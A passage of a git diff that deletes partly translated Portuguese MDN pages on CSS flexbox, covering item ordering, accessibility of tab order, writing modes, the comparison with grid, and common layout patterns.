- <li><a href="/en-US/docs/Glossary/Flex_Container">Flex Container</a></li>
- <li><a href="/en-US/docs/Glossary/Flex_Item">Flex Item</a></li>
- <li><a href="/en-US/docs/Glossary/Main_Axis">Main Axis</a></li>
- <li><a href="/en-US/docs/Glossary/Cross_Axis">Cross Axis</a></li>
- <li><a href="/en-US/docs/Glossary/Flex">Flex</a></li>
-</ul>
-</div>
-
-<h2 id="Guides">Guides</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></dt>
- <dd>An overview of the features of flexbox</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relationship of flexbox to other layout methods</a></dt>
- <dd>How flexbox relates to other layout methods, and other CSS specifications</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></dt>
- <dd>How the Box Alignment properties work with flexbox.</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items">Ordering flex items</a></dt>
- <dd>Explaining the different ways to change the order and direction of items, and covering the potential issues in doing so.</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></dt>
- <dd>This article explains the flex-grow, flex-shrink and flex-basis properties.</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></dt>
- <dd>How to create flex containers with multiple lines and control the display of the items in those lines.</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox">Typical use cases of flexbox</a></dt>
- <dd>Common design patterns that are typical flexbox use cases.</dd>
- <dt><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox">Backwards compatibility of Flexbox</a></dt>
- <dd>Browser status of flexbox, interoperability issues and supporting older browsers and versions of the spec</dd>
-</dl>
-
-<h2 id="External_resources">External resources</h2>
-
-<ul>
- <li><a href="https://github.com/philipwalton/flexbugs">Flexbugs — a community curated list of flexbox browser bugs and workarounds</a></li>
-</ul>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('CSS3 Flexbox') }}</td>
- <td>{{ Spec2('CSS3 Flexbox') }}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{CompatibilityTable()}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Firefox (Gecko)</th>
- <th>Chrome</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatGeckoDesktop("20.0")}}</td>
- <td>21.0{{property_prefix("-webkit")}}<br>
- 29.0</td>
- <td>10.0{{property_prefix("-ms")}}<br>
- 11.0</td>
- <td>12.10</td>
- <td>6.1{{property_prefix("-webkit")}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Android</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatVersionUnknown()}}</td>
- <td>4.4</td>
- <td>11</td>
- <td>12.10</td>
- <td><span style="font-size: 12px; line-height: 18px;">7.1{{property_prefix("-webkit")}}</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<p> </p>
diff --git a/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html b/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html
deleted file mode 100644
index 3f17cfbffa..0000000000
--- a/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html
+++ /dev/null
@@ -1,141 +0,0 @@
----
-title: Ordenação do itens Flex
-slug: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items
-tags:
- - Acessibilidade
- - CSS
- - Flex
- - Guía
- - direção
- - flexbox
- - ordem
- - reverter
-translation_of: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items
-original_slug: Web/CSS/CSS_Flexible_Box_Layout/ordenacao_dos_itens_flex
----
-<p>{{CSSRef}}</p>
-
-<p class="summary">Os novos métodos de layout, tais como Flexbox e Grielha trazem com eles a possibilidade de controlar a ordem do conteúdo. Neste artigo, nós iremos analisar as maneiras pelas quais pode alterar a ordem visual do seu conteúdo quando utilizar o Flexbox. Nós também iremos considerar as implicações de reordenar itens de um ponto de vista de acessibilidade. </p>
-
-<h2 id="Reverter_a_exibição_dos_itens">Reverter a exibição dos itens</h2>
-
-<p>The {{cssxref("flex-direction")}} property can take one of four values:</p>
-
-<ul>
- <li><code>row</code></li>
- <li><code>column</code></li>
- <li><code>row-reverse</code></li>
- <li><code>column-reverse</code></li>
-</ul>
-
-<p>The first two values keep the items in the same order that they appear in the document source order and display them sequentially from the start line.</p>
-
-<p><img alt="The items are displayed in a row starting on the left." src="https://mdn.mozillademos.org/files/15649/Basics1.png" style="display: flex; height: 152px; margin: 0px auto; width: 522px;"></p>
-
-<p><img alt="The items are displayed as a column starting from the top " src="https://mdn.mozillademos.org/files/15650/align10.png" style="display: flex; height: 273px; margin: 0px auto; width: 709px;"></p>
-
-<p>The second two values reverse the items by switching the start and end lines.</p>
-
-<p><img alt="The items are displayed in reverse order starting on the right-hand line." src="https://mdn.mozillademos.org/files/15651/align9.png" style="display: flex; height: 152px; margin: 0px auto; width: 631px;"></p>
-
-<p><img alt="The items are displayed in a column in reverse order starting at the bottom line." src="https://mdn.mozillademos.org/files/15652/align11.png" style="display: flex; height: 273px; margin: 0px auto; width: 709px;"></p>
-
-<p>Remember that the start line relates to writing modes. The row-related examples above demonstrate how <code>row</code> and <code>row-reverse</code> work in a left-to-right language such as English. If you were working in a right-to-left language like Arabic then <code>row</code> would start on the right, <code>row-reverse</code> on the left.</p>
-
-<p><img alt="Flex containers with Arabic letters showing how row starts from the right hand side and row-reverse from the left." src="https://mdn.mozillademos.org/files/15647/order-rtl.png" style="display: flex; height: 302px; margin: 0px auto; width: 528px;"></p>
-
-<p>This can seem like a neat way to display things in reverse order however you should be mindful that the items are only <em>visually</em> displayed in reverse order. The specification says the following on this matter:</p>
-
-<blockquote>
-<p>“Nota: The reordering capabilities of flex layout intentionally affect only the visual rendering, leaving speech order and navigation based on the source order. This allows authors to manipulate the visual presentation while leaving the source order intact for non-CSS UAs and for linear models such as speech and sequential navigation.” - <a href="https://www.w3.org/TR/css-flexbox-1/#flow-order">Ordering and Orientation</a></p>
-</blockquote>
-
-<p>If your items were links or some other element that the user could tab to, then the tabbing order would be the order that these items appear in the document source — not your visual order.</p>
-
-<p>If you are using a reverse value, or otherwise reordering your items, you should consider whether you actually need to change the logical order in the source. The specification continues with a warning not to use reordering to fix issues in your source:</p>
-
-<blockquote>
-<p>“Authors must not use order or the <em>-reverse values of flex-flow/flex-direction as a substitute for correct source ordering, as that can ruin the accessibility of the document.” </em></p>
-</blockquote>
-
-<div class="note">
-<p><strong>Nota</strong>: For some years Firefox had a bug whereby it would attempt to follow the visual order and not the source order, making it behave differently to other browsers. This has now been fixed. You should always take the source order as the logical order of the document as all up-to-date user agents will be following the specification and doing so.</p>
-</div>
-
-<p>In the live example below I have added a focus style in order that as you tab from link to link you can see which is highlighted. If you change the order using <code>flex-direction</code> you can see how the tab order continues to follow the order that the items are listed in the source.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/order/order.html", '100%', 500)}}</p>
-
-<p>In the same way that changing the value of <code>flex-direction</code> does not change the order in which items are navigated to, changing this value does not change paint order. It is a visual reversal of the items only.</p>
-
-<h2 id="A_propriedade_order">A propriedade <em><code>order</code></em></h2>
-
-<p>In addition to reversing the order in which flex items are visually displayed, you can target individual items and change where they appear in the visual order with the {{cssxref("order")}} property.</p>
-
-<p>The <code>order</code> property is designed to lay the items out in <em>ordinal groups</em>. What this means is that items are assigned an integer that represents their group. The items are then placed in the visual order according to that integer, lowest values first. If more than one item has the same integer value, then within that group the items are laid out as per source order.</p>
-
-<p>As an example, I have 5 flex items, and assign <code>order</code> values as follows:</p>
-
-<ul>
- <li>Source item 1: <code>order: 2</code></li>
- <li>Source item 2: <code>order: 3</code></li>
- <li>Source item 3: <code>order: 1</code></li>
- <li>Source item 4: <code>order: 3</code></li>
- <li>Source item 5: <code>order: 1</code></li>
-</ul>
-
-<p>These items would be displayed on the page in the following order:</p>
-
-<ul>
- <li>Source item 3: <code>order: 1</code></li>
- <li>Source item 5: <code>order: 1</code></li>
- <li>Source item 1: <code>order: 2</code></li>
- <li>Source item 2: <code>order: 3</code></li>
- <li>Source item 4: <code>order: 3</code></li>
-</ul>
-
-<p><img alt="Items have a number showing their source order which has been rearranged." src="https://mdn.mozillademos.org/files/15653/order-property.png" style="display: flex; height: 100px; margin: 0px auto; width: 634px;"></p>
-
-<p>You can play around with the values in this live example below and see how that changes the order. Also, try changing <code>flex-direction</code> to <code>row-reverse</code> and see what happens — the start line is switched so the ordering begins from the opposite side.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/order/flex-direction.html", '100%', 440)}}</p>
-
-<p>Flex items have a default <code>order</code> value of <code>0</code>, therefore items with an integer value greater than 0 will be displayed after any items that have not been given an explicit <code>order</code> value.</p>
-
-<p>You can also use negative values with order, which can be quite useful. If you want to make one item display first, and leave the order of all other items unchanged, you can give that item an order of <code>-1</code>. As this is lower than 0 the item will always be displayed first.</p>
-
-<p>In the live code example below I have items laid out using Flexbox. By changing which item has the class <code>active</code> assigned to it in the HTML, you can change which item displays first and therefore becomes full width at the top of the layout, with the other items displaying below it.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/order/negative-order.html", '100%', 520)}}</p>
-
-<p>The items are displayed in what is described in the specification as <em>order-modified document order</em>. The value of the order property is taken into account before the items are displayed.</p>
-
-<p>Order also changes the paint order of the items; items with a lower value for <code>order</code> will be painted first and those with a higher value for <code>order</code> painted afterwards.</p>
-
-<h2 id="A_propriedade_order_e_acessibilidade">A propriedade <em>order</em> e acessibilidade</h2>
-
-<p>Use of the <code>order</code> property has exactly the same implications for accessibility as changing the direction with <code>flex-direction</code>. Using <code>order</code> changes the order in which items are painted, and the order in which they appear visually. It does not change the sequential navigation order of the items. Therefore if a user is tabbing between the items, they could find themselves jumping around your layout in a very confusing way.</p>
-
-<p>By tabbing around any of the live examples on this page, you can see how order is potentially creating a strange experience for anyone not using a pointing device of some kind. To read more about this disconnect of visual order and logical order and some of the potential problems it raises for accessibility, see the following resources.</p>
-
-<ul>
- <li><a href="https://tink.uk/flexbox-the-keyboard-navigation-disconnect/">Flexbox and the keyboard navigation disconnect</a></li>
- <li><a href="http://adrianroselli.com/2015/10/html-source-order-vs-css-display-order.html">HTML Source Order vs CSS Display Order</a></li>
- <li><a href="https://alastairc.ac/2017/06/the-responsive-order-conflict">The Responsive Order Conflict for Keyboard Focus</a></li>
-</ul>
-
-<h2 id="Casos_de_utilização_para_order">Casos de utilização para <em>order</em></h2>
-
-<p>There are sometimes places where the fact that the logical and therefore reading order of flex items is separate from the visual order, is helpful. Used carefully the <code>order</code> property can allow for some useful common patterns to be easily implemented.</p>
-
-<p>You might have a design, perhaps a card that will display a news item. The heading of the news item is the key thing to highlight and would be the element that a user might jump to if they were tabbing between headings to find content they wanted to read. The card also has a date; the finished design we want to create is something like this.</p>
-
-<p><img alt="A design component with a date, then heading and then content." src="https://mdn.mozillademos.org/files/15648/order-card.png" style="height: 400px; width: 618px;"></p>
-
-<p>Visually the date appears above the heading, in the source. However, if the card was read out by a screen reader I would prefer that the title was announced first and then the publication date. We can make this so using the <code>order</code> property.</p>
-
-<p>The card is going to be our flex container, with <code>flex-direction</code> set to column. I then give the date an <code>order</code> of <code>-1</code>. This pulls it up above the heading.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/order/usecase-order.html", '100%', 730)}}</p>
-
-<p>These small tweaks are the sort of cases where the <code>order</code> property makes sense. Keep the logical order as the reading and tab order of the document, and maintain that in the most accessible and structured fashion. Then use <code>order</code> for purely visual design tweaks. When doing so take care that you are not reordering items that could be accessed by the keyboard as a user is tabbing around. Especially when using newer layout methods you should ensure that your browser testing includes testing the site using keyboard only, rather than a mouse or touchscreen. You will quickly see if your development choices make getting around the content difficult.</p>
diff --git a/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html b/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html
deleted file mode 100644
index 34e3a88d9b..0000000000
--- a/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html
+++ /dev/null
@@ -1,127 +0,0 @@
----
-title: Relação do flexbox com outros métodos de layout
-slug: >-
- Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods
-tags:
- - CSS
- - Guía
- - Modo de Gravação
- - alinhamento de caixa
- - conteúdos
- - exibição
- - flexbox
- - grelha
-translation_of: >-
- Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods
-original_slug: >-
- Web/CSS/CSS_Flexible_Box_Layout/relação_do_flexbox_com_outros_métodos_de_layout
----
-<div>{{CSSRef}}</div>
-
-<p class="summary">Neste artigo, nós iremos ver como o Flexbox se encaixa com todos os outros módulos de CSS. Nós iremos saber quais as especificações que também precisa de ter em consideração se quiser aprender flexboxm, e saber por que o flexbox é diferente de alguns outros módulos.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: CSS versions 1 and 2 were a single monolithic specification where all of CSS was defined in one large document. As CSS became a more feature rich language, maintaining one huge specification became problematic, with different parts of CSS moving on at different speeds. CSS was therefore modularised, and the various CSS Specifications are different modules that make up CSS today. These modules relate to each other, and are at different stages of development.</p>
-</div>
-
-<h2 id="O_módulo_de_alinhamento_de_caixa">O módulo de alinhamento de caixa</h2>
-
-<p>For many people the first reason they start to look at flexbox is because of the ability to properly align flex items inside a flex container. Flexbox provides access to properties that allow the alignment of items on their cross axis and justification of items on the main axis.</p>
-
-<p>These properties started life in the flexbox specification, but are now also part of the <a href="https://www.w3.org/TR/css-align-3/">Especificação de Alinhamento de Caixa</a> (inglês). This specification details how alignment works in all layout — not just flexbox. Box alignment deals with alignment and justification, and also distribution of space along an axis.</p>
-
-<p>The reason that the Box alignment properties remain detailed in the flexbox specification as well as being in box alignment is to ensure that completion of the flexbox spec is not held up by box alignment, which has to detail these methods for all layout types. There is a note in the flexbox spec stating that in future, once it is completed, the definitions in Box Alignment Level 3 will supercede those of flexbox:</p>
-
-<blockquote>
-<p>"Note: While the alignment properties are defined in CSS Box Alignment <a href="">CSS-ALIGN-3</a>, Flexible Box Layout reproduces the definitions of the relevant ones here so as to not create a normative dependency that may slow down advancement of the spec. These properties apply only to flex layout until CSS Box Alignment Level 3 is finished and defines their effect for other layout modes. Additionally, any new values defined in the Box Alignment module will apply to Flexible Box Layout; in otherwords, the Box Alignment module, once completed, will supercede the definitions here."</p>
-</blockquote>
-
-<p>In a later article in this series — Aligning items in a flex container — we will take a thorough look at how the Box Alignment properties apply to flex items.</p>
-
-<h3 id="As_propriedades_de_gap">As propriedades de <em>gap</em></h3>
-
-<p>A recent addition to the Box Alignment specification has been the {{cssxref("row-gap")}} and {{cssxref("column-gap")}} properties, long with the shorthand {{cssxref("gap")}}. These properties were initially defined in the CSS Grid specification and named <code>grid-row-gap</code>, <code>grid-column-gap</code> and <code>grid-gap</code>. They have been renamed and moved to Box Alignment in order that they can be used in all layout methods — this will ultimately include flexbox. Until browsers implement the <code>gap</code> properties for flexbox, {{cssxref("margin")}}s have to be used to create gaps between items.</p>
-
-<h2 id="Modos_de_Gravação">Modos de Gravação</h2>
-
-<p>In the <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic concepts of flexbox</a> article, I explained that flexbox is <strong>writing mode aware</strong>. Writing modes are fully detailed in the CSS <a href="https://www.w3.org/TR/css-writing-modes-3/">Writing Modes specification</a>, which details how CSS supports the various different writing modes that exist internationally. We need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. Understanding <strong>block</strong> and <strong>inline</strong> directions is key to new layout methods.</p>
-
-<p>It is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. See <a href="https://24ways.org/2016/css-writing-modes/">this article</a> for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. </p>
-
-<h3 id="Os_modes_de_gravação">Os modes de gravação</h3>
-
-<p>The writing modes specification defines the following values of the {{cssxref("writing-mode")}} property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. You can change the live example below to these modes in order to see what happens to the flex layout.</p>
-
-<ul>
- <li><code>horizontal-tb</code></li>
- <li><code>vertical-rl</code></li>
- <li><code>vertical-lr</code></li>
- <li><code>sideways-rl</code></li>
- <li><code>sideways-lr</code></li>
-</ul>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} </p>
-
-<p>Note that <code>sideways-rl</code> and <code>sideways-lr</code> have support only in Firefox currently. There are also some known issues with regard to <code>writing-mode</code> and flexbox. You can see more information on browser support in the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/writing-mode">MDN documentation for writing-mode</a>. However if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!</p>
-
-<p>Note that you would not normally use CSS and the <code>writing-mode</code> property to change an entire document to another writing mode. This would be done via HTML, by add a <code>dir</code> and <code>lang</code> attribute to the <code>html</code> element to indicate the document language and default text direction. This would mean that the document would display correctly even if CSS did not load.</p>
-
-<h2 id="Flexbox_e_outros_métodos_de_layout">Flexbox e outros métodos de <em>layout</em></h2>
-
-<p>The flexbox specification contains a <a href="https://www.w3.org/TR/css-flexbox-1/#flex-containers">definition of what happens</a> if an item uses another layout method and then becomes a flex item. For example, if an item is floated and then its parent becomes a flex container. Or, how a flex container behaves as part of layout.</p>
-
-<p>An element set to <code>display: flex</code> behaves in most ways like any other block level container that establishes a containing block. Floats will not intrude, and the containers' margins will not collapse.</p>
-
-<p>With regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having <code>display: flex</code> applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. If you have used the {{cssxref("vertical-align")}} property, as used with <code>inline-block</code> or table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead.</p>
-
-<p>In this next live example the child elements have been floated, and then their container has had <code>display: flex</code> added. If you remove <code>display: flex</code>, you should see that the <code>.box</code> element collapses as we have no clearing applied. This demonstrates that the float is happening. Re-apply <code>display: flex</code> and the collapsing does not happen. This is because the items no longer have a float applied, as they have been transformed into flex items.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}</p>
-
-<h2 id="Flexbox_e_Layout_de_Grelha">Flexbox e <em>Layout</em> de Grelha</h2>
-
-<p><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a> and Flexbox generally act in the same way with regards to overwriting other methods. You might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. This approach works very well. If a flex item becomes a grid item, then the <code>flex</code> properties that may have been assigned to the child elements will be ignored.</p>
-
-<p>You can use the Box Alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.</p>
-
-<h3 id="Flex_e_grelha_—_qual_é_a_diferença">Flex e grelha — qual é a diferença?</h3>
-
-<p>A common question is to ask what the difference is between Flexbox and CSS Grid Layout — why do we have two specifications that sometimes appear to be doing the same thing as each other?</p>
-
-<p>The most straightforward answer to this question is defined in the specifications themselves. Flexbox is a one-dimensional layout method whereas Grid Layout is a two-dimensional layout method. In the below example I have a flex layout. As already described in the Basic concepts article, flex items can be allowed to wrap but, once they do so, each line becomes a flex container of its own. When space is distributed flexbox does not look at the placement of items in other rows and tries to line things up with each other.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}</p>
-
-<p>If we create a very similar layout using Grid, we can control the layout in both rows and columns.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}</p>
-
-<p>These examples point to another key differences between these layout methods. In Grid Layout you do the majority of sizing specification on the container, setting up tracks and then placing items into them. In flexbox, while you create a flex container and set the direction at that level, any control over item sizing needs to happen on the items themselves.</p>
-
-<p>In some cases you could happily use either layout method, but as you become confident with both you will find each one suiting different layout needs, and you will end up with both methods in your CSS. There is rarely a right or wrong answer.</p>
-
-<p>As a rule of thumb, if you are adding widths to flex items in order to make items in one row of a wrapped flex container line up with the items above them you really want two-dimensional layout. In this case it is likely that the component would be better laid out using CSS Grid Layout. It isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. Try things out — we have a choice in layout method for the first time, so take advantage of it.</p>
-
-<p>For more comparisons of grid and flexbox see the article <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship of Grid Layout to other layout methods</a>. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use.</p>
-
-<h2 id="Flexbox_e_exibição_conteúdos">Flexbox e exibição: conteúdos</h2>
-
-<p>The <code>contents</code> value of the {{cssxref("display")}} property is a new value that is described in the spec as follows:</p>
-
-<blockquote>
-<p>“The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.”</p>
-</blockquote>
-
-<p>This value of <code>display</code> controls box generation, and whether the element should generate a box that we can style and see on the page, or whether instead the box it would normally create should be removed and the child elements essentially moved up to participate in whatever layout method the parent would have been part of. This is much easier to see with an example.</p>
-
-<p>In the following live example I have a flex container with three child elements. One of these flex items has two elements nested inside it, which would not ordinarily participate in flex layout. Flex layout only applies to the direct children of a flex container.</p>
-
-<p>By adding <code>display: contents</code> to the wrapper around the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container. You can try removing the <code>display: contents</code> line to see it return.</p>
-
-<p>Note that this only removes the box from the layout; the sub-children don’t become direct children in any other way. You can see that as I have used a direct child selector to add the background and borders to the flex items, this has not been applied to our nested children. They have been laid out as flex items, but as they are not direct children they do not get the other styling.</p>
-
-<p>Also, having removed the box you cannot then use it to — for example — add a background colour behind the nested sub children. If you remove <code>display: contents</code> in this live example you will see that the direct child we are removing has an orange background colour. This also disappears when the box disappears. </p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}</p>
-
-<p>Browser support for <code>display:contents</code> is limited and required for this demo to work. Firefox supports <code>display: contents</code> already, and the value is being implemented in Chrome. Once there is better browser support this feature will be very useful in circumstances where you need the markup for semantic reasons but do not want to display the box that it would generate by default.</p>
diff --git a/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html
deleted file mode 100644
index 2c46d66a2c..0000000000
--- a/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html
+++ /dev/null
@@ -1,144 +0,0 @@
----
-title: Casos de utilização típicos do Flexbox
-slug: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
-tags:
- - CSS
- - Caixa Flexível
- - Flexible Box
- - Guía
- - flexbox
- - padrões
- - utilizações comuns
-translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
-original_slug: Web/CSS/CSS_Flexible_Box_Layout/casos_de_utilizacao_tipicos_do_flexbox
----
-<p>{{CSSRef}}</p>
-
-<p class="summary">Neste guia, nós vamos dar uma vista de olhos em alguns dos casos de utilização comuns para o flexbox - esses lugares onde faz mais sentido do que outro método de layout .</p>
-
-<h2 id="Porque_escolher_flexbox">Porque escolher flexbox?</h2>
-
-<p>In a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another. As you lay out your items you want to control the dimensions of the items in that one dimension, or control the spacing between items. These are the uses that flexbox was designed for. You can read more about the difference between flexbox and CSS Grid Layout in <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">Relationship of Flexbox to other layout methods</a>, where we discuss how flexbox fits into the overall picture of CSS Layout.</p>
-
-<p>In reality we also often use Flexbox for jobs that might be better done by Grid Layout, as a fallback for Grid, and also in order to get alignment capabilities. This is something that may well change once Box Alignment is implemented in Block Layout. In this guide I look at some of the typical things you might use flexbox for today.</p>
-
-<h2 id="Navegação">Navegação</h2>
-
-<p>A common pattern for navigation is to have a list of items displayed as a horizontal bar. This pattern, as basic as it seems, was difficult to achieve before flexbox. It forms the most simple of flexbox examples, and could be considered the ideal flexbox use case.</p>
-
-<p>When we have a set of items that we want to display horizontally, we may well end up with additional space. We need to decide what to do with that space, and have a couple of options. We either display the space outside of the items — therefore spacing them out with white space between or around them — or we absorb the extra space inside the items and therefore need a method of allowing the items to grow and take up this space.</p>
-
-<h3 id="Espaço_distribuído_fora_dos_itens">Espaço distribuído fora dos itens</h3>
-
-<p>To distribute the space between or around the items we use the alignment properties in flexbox, and the {{cssxref("justify-content")}} property. You can read more about this property in <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning Items in a flex container</a>, which deals with aligning items on the main axis.</p>
-
-<p>In the below live example we display the items at their natural size and by using <code>justify-content: space-between</code> make equal amounts of space between the items. You can change how the space is distributed using the <code>space-around</code> value, or where supported, <code>space-evenly</code>. You could also use <code>flex-start</code> to place the space at the end of the items, <code>flex-end</code> to place it before them, or <code>center</code> to centre the navigation items.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}</p>
-
-<h3 id="Espaço_distribuído_dentro_dos_itens">Espaço distribuído dentro dos itens</h3>
-
-<p>A different pattern for navigation would be to distribute the available space within the items themselves, rather than create space between them. In this case we would use the {{cssxref("flex")}} properties to allow items to grow and shrink in proportion to one another as described in <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling ratios of flex items along the main axis</a>.</p>
-
-<p>If I wanted all of my navigation items to have equal width, then I might use <code>flex: auto</code>, which is the shorthand for <code>flex: 1 1 auto</code> — all items grow and shrink from a flex-basis of auto. This would mean that the longer item would have more space.</p>
-
-<p>In the live example below try changing <code>flex: auto</code> to <code>flex: 1</code>. This is the shorthand for <code>flex: 1 1 0</code> and causes all of the items become the same width, as they are working from a flex-basis of 0 allowing all of the space to be distributed evenly.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}</p>
-
-<h2 id="Dividir_navegação">Dividir navegação</h2>
-
-<p>Another way to align items on the main axis is to use auto margins. This enables the design pattern of a navigation bar where one group of items are aligned left and another group aligned right.</p>
-
-<p>Here we are using the auto margins technique described in <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container#Using_auto_margins_for_main_axis_alignment">Using auto margins for main axis alignment</a>. The items are aligned on the main axis with <code>flex-start</code> as this is the initial behaviour of flexbox, and we are aligning the item on the right by giving it a left margin of auto. You can move the class from one item to another to change where the split happens.</p>
-
-<p>Also in this example we are using margins on the flex items to create a gap between items, and a negative margin on the container in order that the items still remain flush with the right and left edges. Until the <code>gap</code> properties from the Box Alignment specification are implemented in flexbox, we have to use margins in this way if we want to create a gutter between items.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}</p>
-
-<h2 id="Centrar_item">Centrar item</h2>
-
-<p>Before flexbox, developers would joke that the hardest problem in web design was vertical centering. This has now been made straightforward using the alignment properties in flexbox, as the following live example shows.</p>
-
-<p>You can play with the alignment, aligning the item to the start with <code>flex-start</code> or end with <code>flex-end</code>.</p>
-
-<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}</p>
-
-<p>In the future we may not need to make a container a flex container just to centre a single item, as the Box Alignment properties will ultimately be implemented in Block layout. For now however, if you need to properly centre one thing inside another, flexbox is the way to do it. As in the above example, make a container into a flex container, and then use either <code>align-items</code> on the parent element or target the flex item itself with <code>align-self</code>.</p>
-
-<h2 id="Card_layout_pushing_footer_down">Card layout pushing footer down</h2>
-
